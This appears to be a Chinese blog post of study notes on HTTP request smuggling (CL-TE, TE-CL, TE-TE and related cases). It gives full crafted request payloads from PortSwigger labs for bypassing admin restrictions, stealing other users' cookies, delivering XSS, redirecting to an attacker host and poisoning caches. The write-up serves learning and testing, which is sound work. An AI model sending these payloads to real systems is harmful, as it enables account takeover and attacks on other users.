HTTP请求走私攻击-学习笔记

TL;DR

HTTP-Smuggling

0x00 前言

之前有听说过这种攻击方式,但是没有详细了解该攻击方式。直到最近遇到的一个漏洞CVE-2020-12440,使我不得不面对这样一个话题,而在这个过程中,发现之前错过这个攻击方式还是非常有意思的,于是记录一下我的学习过程,并尝试对CVE-2020-12440这个存在于nginx<=1.8.0的漏洞,进行复现。

本文参考了大量其他师傅的文章,会在具体用到的地方和reference中给出链接,这些师傅的总结都很值得一读,强烈推荐。
本文在总结师傅们的文章和经验的同时,会补充CVE-2020-12440的复现分析,补充在平时测试过程中,我们如何利用工具提高该漏洞的检测效率。

0x01 LifeLine

最早在2005年,由Chaim Linhart,Amit Klein,Ronen Heled和Steve Orrin共同完成了一篇关于HTTP Request Smuggling这一攻击方式的报告。通过对整个RFC文档的分析以及丰富的实例,证明了这一攻击方式的危害性。

https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf

在2016年的DEFCON 24 上,@regilero在他的议题——Hiding Wookiees in HTTP中对前面报告中的攻击方式进行了丰富和扩充。

https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf

在2019年的BlackHat USA 2019上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中针对当前的网络环境,展示了使用分块编码来进行攻击的攻击方式,扩展了攻击面,并且提出了完整的一套检测利用流程。

https://www.blackhat.com/us-19/briefings/schedule/#http-desync-attacks-smashing-into-the-cell-next-door-15153

0x02 漏洞原理

2.1 预备知识

2.1.1 不同版本的HTTP协议存在一定区别

显著特点 支持的请求方法 性能优化 泛用程度
HTTP0.9 不支持请求头响应头,纯文本 GET 已过时
HTTP1.0 支持请求头响应头,超文本 GET、HEAD、POST 短链接,无优化 仍有少量使用
HTTP1.1 性能优化,增加请求方法 增加了OPTIONS,PUT, DELETE, TRACE, CONNECT方法 增加Keep-Alive和chunked分块传输,请求流水线等 目前使用最广泛
HTTP2.0 增加了二进制分帧 无变化 增加了二进制分帧层用与多路复用,通信在一个链接上进行,ServerPush 目前应用较少

关于不同版本的HTTP协议的区别联系,可以阅读这篇知乎文章:
HTTP协议几个版本的比较

更为完整的信息可能需要参考RFC文档中对于http协议的规定,这里给出RFC文档的地址:
RFC文档
其中关于http1.1的规定如下:RFC2068,2616,2817,7230-7235

我们不难发现,目前应用最广的HTTP1.1增加了Keep-alive特性,

所谓Keep-Alive,就是在HTTP请求中增加一个特殊的请求头Connection: Keep-Alive,告诉服务器,接收完这次HTTP请求后,不要关闭TCP链接,后面对相同目标服务器的HTTP请求,重用这一个TCP链接,这样只需要进行一次TCP握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度。当然,这个特性在HTTP1.1中是默认开启的。

有了Keep-Alive之后,后续就有了Pipeline,在这里呢,客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端。

现如今,浏览器默认是不启用Pipeline的,但是一般的服务器都提供了对Pipleline的支持。

2.1.2 Transfer-Encoding

Transfer-Encoding is analogous to the Content-Transfer-Encoding field of MIME, which was designed to enable safe transport of binary data over a 7-bit transport service ([RFC2045], Section 6). However, safe transport has a different focus for an 8bit-clean transfer protocol. In HTTP’s case, Transfer-Encoding is primarily intended to accurately delimit a dynamically generated payload and to distinguish payload encodings that are only applied for transport efficiency or security from those that are characteristics of the selected resource.

Transfer-Encoding 是一种被设计用来支持 7-bit 传输服务安全传输二进制数据的字段,有点类似于 MIME (Multipurpose Internet Mail Extensions) Header 中的 Content-Transfer-Encoding 。在HTTP的情况下,Transfer-Encoding 的主要用来以指定的编码形式编码 payload body 安全地传输给用户。在 HTTP/1.1 中引入,在 HTTP/2 中取消。

MDN 列举了几种属性:

chunked | compress | deflate | gzip | identity

我们这里主要关注 chunked 这一种传输编码方式,它在网络攻击中也不是第一次提及了,之前就有师傅利用这个字段去绕过一些 WAF,可以参考 利用分块传输吊打所有WAF,也是比较有意思的 bypass 技巧。

我们可以在RFC7230中查看到有关分块传输的定义规范。

chunk传输数据格式如下,其中size的值由16进制表示。

[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

举个例子就可以简单理解chunked模式下的分块传输了:
假设我们想通过POST传输这样的信息

name=V0WKeeper

正常请求是这样的:
正常请求
通过增加Transfer-Encoding: chunked的headers,我们可以这样传输:
chunked

POST /index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Transfer-Encoding: chunked

2\r\n
na\r\n
c\r\n
me=V0WKeeper\r\n
0\r\n
\r\n
  • 第一个分块:\r\n是CRLF,所以这里的\r\n是两个字节;第一个数字 2 表示chunked-size,是指接下来会有 2 个字节的数据(这个数字是16进制的),也就是 na 这 2 个字母,然后按照 RFC 文档标准,字母 na 部分后面需要跟\r\n表示这个na是chunk-data部分
  • 第二个分块:16进制的数字 c 后面表示chunk-size部分,是十六进制数表示这个分块的chunk-data是12字节,即me=V0WKeeper,之后\r\n表明这是chunk-data部分
  • 最后有一个0\r\n\r\n表示分块传输结束。

2.1.3 CL & TE 解析优先级顺序

CL表示Content-Length,TE表示Transfer-Encoding。那么现在有一个问题:对于 CL & TE 解析是否存在优先级顺序?
这个在RFC中是有规定的,见 RFC 7230 Message Body Length

If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 9.5) or response splitting (Section 9.4) and ought to be handled as an error. A sender MUST remove the received Content-Length field prior to forwarding such a message downstream.

虽然这里是指出了 TE 优先于 CL ,但是我们仍然可以通过一些方式绕过,又或者说,那个中间件的也没有依照这个 RFC 标准规范实现,这就导致了差异性的存在。

2.1.4 Bad Chunked Transmission

根据 RFC7230 section 3.3.3 :

If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection.

也就是说当接受到Transfer-Encoding: chunked, zorg的时候,应该返回 400 错误。

这类可以有很多绕过,比如:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

GET / HTTP/1.1
Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

2.1.5 背景

简单的网络环境中,我们直接通过浏览器访问服务器,但是由于很多静态资源需要在服务器提供,这种方式无疑是大大增加了web服务器的负荷。

而在稍微复杂的网络环境中,为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用上了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。另一方面,这个反向代理可以隐藏web服务器的真实IP,所以很多中小型网站都采用类似方案。

常见拓扑图如下:
拓扑

一般来说,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用,也就顺理成章了。

当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。

2.2 原理

而这个HTTP请求走私漏洞的产生正是由于:前端的反向代理服务器和后端的Web服务器,对同一个请求的理解不一致。

可能是不同的服务器对RFC标准实现的方式不同,程度不同,配置不同等等。这样一来,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。

原理
如上图,一段时间内有很多用户访问这个网站,其中一个攻击者,恶意构造一个请求,这个请求在前端服务器的理解是两个请求,而后端服务器理解是一个请求和一个不完整的请求,于是会继续等待,等待到正常用户的访问,将其拼接起来,然后认为这个拼接的请求是一个完整的请求,之后对其响应。

直接说原理可能太抽象了,我们通过几个例子,刚好了解这种攻击方式的多种情形,也可以具体感受一下HTTP请求走私攻击原理。

根据破坏请求的方式不同,一般将HTTP走私分为几种不同的情形(CL:Content-Length, TE:Transfer-Encoding):

  • CL!=0
  • CL-CL
  • CL-TE
  • TE-CL
  • TE-TE

2.3 CL!=0

其实在这里,影响到的并不仅仅是GET请求,所有不携带请求体的HTTP请求都有可能受此影响,只因为GET比较典型,我们把它作为一个例子。

RFC2616中,没有对GET请求像POST请求那样携带请求体做出规定,在最新的RFC7231的4.3.1节中也仅仅提了一句。

https://tools.ietf.org/html/rfc7231#section-4.3.1

sending a payload body on a GET request might cause some existing implementations to reject the request

假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。

比如我们构造请求

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,它就认为这是收到了两个请求,分别是

第一个
GET / HTTP/1.1\r\n
Host: example.com\r\n

第二个
GET / secret HTTP/1.1\r\n
Host: example.com\r\n

这就导致了请求走私。

2.4 CL-CL

RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。

https://tools.ietf.org/html/rfc7230#section-3.3.3

但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

此时恶意攻击者可以构造一个特殊的请求

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母a,对于后端服务器来说,这个a是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如图所示。

GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

从前面我们也知道了,代理服务器与源站服务器之间一般会重用TCP连接。
这时候正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

这时候用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于CSRF的攻击方式。

2.5 CL-TE

两个Content-Length这种请求包对于服务器的要求还是太过于理想化了,一般的服务器都不会接受这种存在两个请求头的请求包。但是在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这其实也就意味着请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误。服务器在这里的实现更容易出问题。

https://tools.ietf.org/html/rfc2616#section-4.4

所谓CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。

Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

构造数据包

POST / HTTP/1.1
Host: ac761f1a1e9fe92e80372867004e0068.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: session=fblq0y8FiGcc5K6mSs2HTdfWzGRhTjgz
Connection: keep-alive
Content-Length: 6
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded

0\r\n
\r\n
a

连续发送几次请求就可以获得该响应。
CL-TE

由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是

0\r\n
\r\n
a

当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0\r\n\r\n时,认为已经读取到结尾了,但是剩下的字母a就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。

aPOST / HTTP/1.1\r\n
Host: ac761f1a1e9fe92e80372867004e0068.web-security-academy.net\r\n
......

服务器在解析时当然会产生报错了。

2.6 TE-CL

所谓TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。

Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

构造数据包

POST / HTTP/1.1
Host: ac7f1f571fe9f64580263276002a0013.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=GklnleINICe4bVWmOboLzzums1ppdes2
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

可以在这里设置是否自动更新,我们在测试HTTPsmuggling的时候往往需要关闭Content-Length的自动更新。
取消自动更新Content-Length

TE-CL

由于前端服务器处理Transfer-Encoding,当其读取到0\r\n\r\n时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12\r\n之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是

GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

成功报错。

2.7 TE-TE

TE-TE,也很容易理解,当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,这就有了一种方法,我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL

Lab地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

构造数据包

POST / HTTP/1.1
Host: ac991f181e14509a80e729a500980063.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=CopStl0xBmPNLqkRBoRYmmr48VDokDv3
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: anyinvaild
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

TE-TE

0x03 攻击方式&危害

3.1 bypass front-end security controls-portswigger

这里提供了两个实验环境,一个是 CL-TE 形式的 Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability ,一个是TE-CL 形式的 Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability,两个实验最终达到的目的一样,这里我们随便选用 CL-TE 的来进行实验。

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. There’s an admin panel at /admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

架构和之前提到是CL-TE实验一样,只不过这次我们需要去利用 HTTP Smuggling 获取 admin 权限并删除 carlos 用户。

我们生成 LAB 之后,直接访问/admin会发现 "Path /admin is blocked",看来不能通过正常方式访问/admin,或者是有什么限制,但是我们不知道限制是什么。那我们尝试 HTTP Smuggling 的方式,发送如下数据包两次,就能看到限制是什么:

POST / HTTP/1.1
Host: acbd1fa91ed6894e8031d60d00f5009c.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=B1AUoiKqAaOP8ipBE9Vf5d2pAxm7ToxS
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
\r\n

smuggling看安全限制

增加Host: localhost

POST / HTTP/1.1
Host: acbd1fa91ed6894e8031d60d00f5009c.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=B1AUoiKqAaOP8ipBE9Vf5d2pAxm7ToxS
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: localhost\r\n
\r\n

发现删除的接口
构造删除接口,删除carlos账户

POST / HTTP/1.1
Host: acbd1fa91ed6894e8031d60d00f5009c.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Cookie: session=B1AUoiKqAaOP8ipBE9Vf5d2pAxm7ToxS
Content-Type: text/html; application/x-www-form-urlencoded
Content-Length: 68
Transfer-Encoding: chunked
\r\n
0\r\n
\r\n
GET /admin/delete?username=carlos HTTP/1.1\r\n
Host: localhost\r\n
\r\n

删除成功

这种攻击方式类似 HTTP SSRF ,主要的点就是在控制 CL 数值上,比如说第一个数据包 CL 的值为 28 ,是这么计算的:

\r\n                            --> POST data需要空一行,不计数
0\r\n --> 3个字节
\r\n --> 2个字节
GET /admin HTTP/1.1\r\n --> 19+2 = 21 个字节
\r\n --> 2个字节
所以这么结算下来就是 3+2+21+2 = 28字节。

TE-CL 的情况类似,这里就不再重复举例了。

3.2 Revealing Front-end Request Rewriting-portswigger

在有的网络环境下,前端代理服务器在收到请求后,不会直接转发给后端服务器,而是先添加一些必要的字段,然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的,比如:

  • 描述TLS连接所使用的协议和密码
  • 包含用户IP地址的XFF头
  • 用户的会话令牌ID

总之,如果不能获取到代理服务器添加或者重写的字段,我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法,主要是三大步骤:

  • 找一个能够将请求参数的值输出到响应中的POST请求
  • 把该POST请求中,找到的这个特殊的参数放在消息的最后面
  • 然后走私这一个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。

有时候 Front 服务器会给转发的请求添加一些请求头再转发给 Backend 服务器,我们可以利用 HTTP Smuggling 的方式来泄露这些请求头。同样我们借助 LAB 来实践理解:
Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

There’s an admin panel at /admin, but it’s only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It’s similar to the X-Forwarded-For header but has a different name.

To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.

这里根据题目提示,场景是一个 CL-TE 的场景,并且给出一个搜索框,我们尝试随便搜索一个 123 ,可以发现搜索结果”123”直接回显到了相应当中。

尝试使用 HTTP Smuggling 方式访问,但是被 blocked :
HTTP Smuggling-Blocked
然后我们可以尝试利用搜索回显把 Front 服务器转发的请求头给泄露出来:

POST / HTTP/1.1
Host: acc61fe41f553ac880ba439700060035.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Cookie: session=LyaWdPjtN9GYWViLvsbQ8go6gAqSMJLZ
Content-Length: 103
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded

search=123

Reveal HTTP request
很神奇!对吧!那么为什么呢?
插一句原理
这是如何获取的呢,可以从我们构造的数据包来入手,可以看到,我们走私过去的请求为

POST / HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded

search=123

其中Content-Length的值为99,显然下面携带的数据的长度是不够99的,因此后端服务器在接收到这个走私的请求之后,会认为这个请求还没传输完毕,继续等待传输。接着我们又继续发送相同的数据包,后端服务器接收到的是前端代理服务器已经处理好的请求,当接收的数据的总长度到达99时,后端服务器认为这个请求已经传输完毕了,然后进行响应。这时实际拼接的请求是这样的:

POST / HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded

search=123POST / HTTP/1.1
X-txptGX-Ip: 58.32.7.15
Host: acc61fe41f553ac880ba439700060035.web-secu

又因为这个web的功能会将search变量的内容打印回显,于是就可以回显request-header了。

我们继续:

这里还有一个技巧,我们直接添加X-txptGX-Ip: 127.0.0.1这个header,还是没法请求出来

这是因为我们伪造的X-txptGX-Ip被服务器加上的X-txptGX-Ip覆盖掉了,我们可以利用上面提到的技巧,同样利用Content-Length将服务器加上的header给截断。

POST / HTTP/1.1
Host: acc61fe41f553ac880ba439700060035.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Cookie: session=LyaWdPjtN9GYWViLvsbQ8go6gAqSMJLZ
Content-Length: 75
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-txptGX-Ip: 127.0.0.1
Content-Length: 10

a=1

/admin

solved

3.3 Capturing other users’ requests

既然能拿到中间件请求,当然我们也可以尝试去拿其他用户的请求,也能拿到 Cookie 等,LAB 地址:Lab: Exploiting HTTP request smuggling to capture other users’ requests

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

To solve the lab, smuggle a request to the back-end server that causes the next user’s request to be stored in the application. Then retrieve the next user’s request and use the victim user’s cookies to access their account.

原理也比较简单,我们可以找到一个发评论的地方,然后利用评论处进行 HTTP Smuggling,例如,我们可以构造以下请求包:

POST / HTTP/1.1
Host: acc51fba1f95d19a80172e4f007d00cb.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: session=icN18J6eM0IZS64G9YqaeGjb45KyTpjq
Content-Length: 272
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 999
Cookie: session=icN18J6eM0IZS64G9YqaeGjb45KyTpjq

csrf=6DZBJoDtpC8hMUB5c5YggKCPBxdPY328&postId=2&name=vow&email=1111%40qq.com&website=http%3A%2F%2Fv0w.top&comment=V0W

burp

result

可以看到我们可以smuggle别人的HTTP请求,如果CL足够长,我们可以获取别人的cookie。但是实测发现这个实验可能不是很好抓到别人的cookie,我抓的还是自己的。。。
当我CL调整到2000之后,又容易出Internal Server Error的报错。但是这个攻击方式的原理应该还是比较好理解的。

3.4 Exploit Reflected XSS

这个利用场景可能比较受限,也比较少见,但是如果存在 HTTP Smuggling & reflected XSS ,我们就可以利用这个组合拳 XSS 拿到别人的 cookie

Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

The application is also vulnerable to reflected XSS via the User-Agent header.

To solve the lab, smuggle a request to the back-end server that causes the next user’s request to receive a response containing an XSS exploit that executes alert(1).

还是依旧的 CL-TE 场景,我们可以在 UA 处发现有一个反射 XSS,但是单这样没什么用,所以我们得想点办法升级危害。
XSS
如果我们利用smuggle,然后请求中,其他用户访问的时候,就可以扩大触发面和攻击面。
smuggle+XSS
show

利用smuggle+XSS进行攻击,请求一次,然后任意访问站内路径,都可以触发XSS。

3.5 Turn An On-Site Redirect Into An Open Redirect

这个其实很好理解,利用请求中修改host,例如在 Apache & IIS 服务器上,一个uri 最后不带 / 的请求会被 30x 导向带 / 的地址,例如发送以下请求:

GET /home HTTP/1.1
Host: normal-website.com

我们会得到 Response :

HTTP/1.1 301 Moved Permanently
content-type: text/html; charset=utf-8
location: https://normal-website.com/
content-length: 62

<a href="https://normal-website.com/">Moved Permanently</a>.

看起来没什么危害,但是如果我们配合 HTTP Smuggling 就会有问题了,例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Smugle 之后的请求会像以下这样:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

然后如果服务器根据 Host 进行跳转的话,我们会得到以下的 Response:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

这样,受害者,也就是访问/scripts/include.js这个的用户,会被跳转到我们控制的 url 了。

3.6 Perform Web Cache Poisoning

这个场景也是基于上面的 Host 跳转的攻击场景,如果 Front 服务器还存在缓存静态资源的话,我们可以配合 HTTP Smuggling 进行缓存投毒,Lab: Exploiting HTTP request smuggling to perform web cache poisoning

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. The front-end server is configured to cache certain responses.

To solve the lab, perform a request smuggling attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server.

这个环境也是一个可以修改 Host 进行跳转的场景,而在/post/next?postId=2路由正好有一个跳转的 api 供我们使用,这个路由跳转到的是/post?postId=4

根据题目描述,我们需要实现缓存投毒, 例如这里我们就选择/resources/js/tracking.js进行投毒,LAB 还给了我们制造投毒的服务器,于是我们可以进行以下设置:
投毒服务器设置
(http://image.v0w.top/2020/12/16086238774792.jpg)

然后构造走私请求:

POST / HTTP/1.1
Host: ac331fcd1fc4121680b3459100bc00b4.web-security-academy.net
Content-Length: 129
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: ac9b1f2a1fd1126180bb4545012a00b0.web-security-academy.net
Content-Length: 10

123

然后访问/resources/js/tracking.js,发现重定向到恶意构造的地址:
缓存js重定向到恶意地址

我们可以看到响应包的跳转地址被我们修改成了我们 exploit 的服务器地址,然后我们访问正常服务器主页试试:
-w853

可以看到成功弹窗。

整个流程我们可以利用以下流程来理解:

Innocent        Attacker          Front           Backend
| | | |
| |--A(1A+1/2B)-->| |
| | |--A(1A+1/2B)-->|
| | |<-A(200)-------|
| | | [1/2B]
| |<-A(200)-------| [1/2B]
| |--C----------->| [1/2B]
| | |--C----------->| * ending B *
| | [*CP*]<--B(200)----|
| |<--B(200)------| |
|--C--------------------------->| |
|<--B(200)--------------------[HIT] |
  • 1A + 1/2B means request A + an incomplete query B
  • A(X) : means X query is hidden in body of query A
  • CP : Cache poisoning

与之前那个流程图类似,因为在 C 请求的/resources/js/tracking.js会被 Front 认为是静态资源缓存起来,而我们利用 HTTP Smuggling 将这个请求导向了我们的 exploit 服务器,返回了alert(1)给 C 请求,然后这个响应包就会被 Front 服务器缓存起来,这样我们就成功进行了投毒。

3.7 Perform Web Cache Deception

其实这个场景与缓存投毒类似,但是稍有一点区别,按照比较官方的说法,缓存欺骗与缓存投毒有以下这些区别:

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
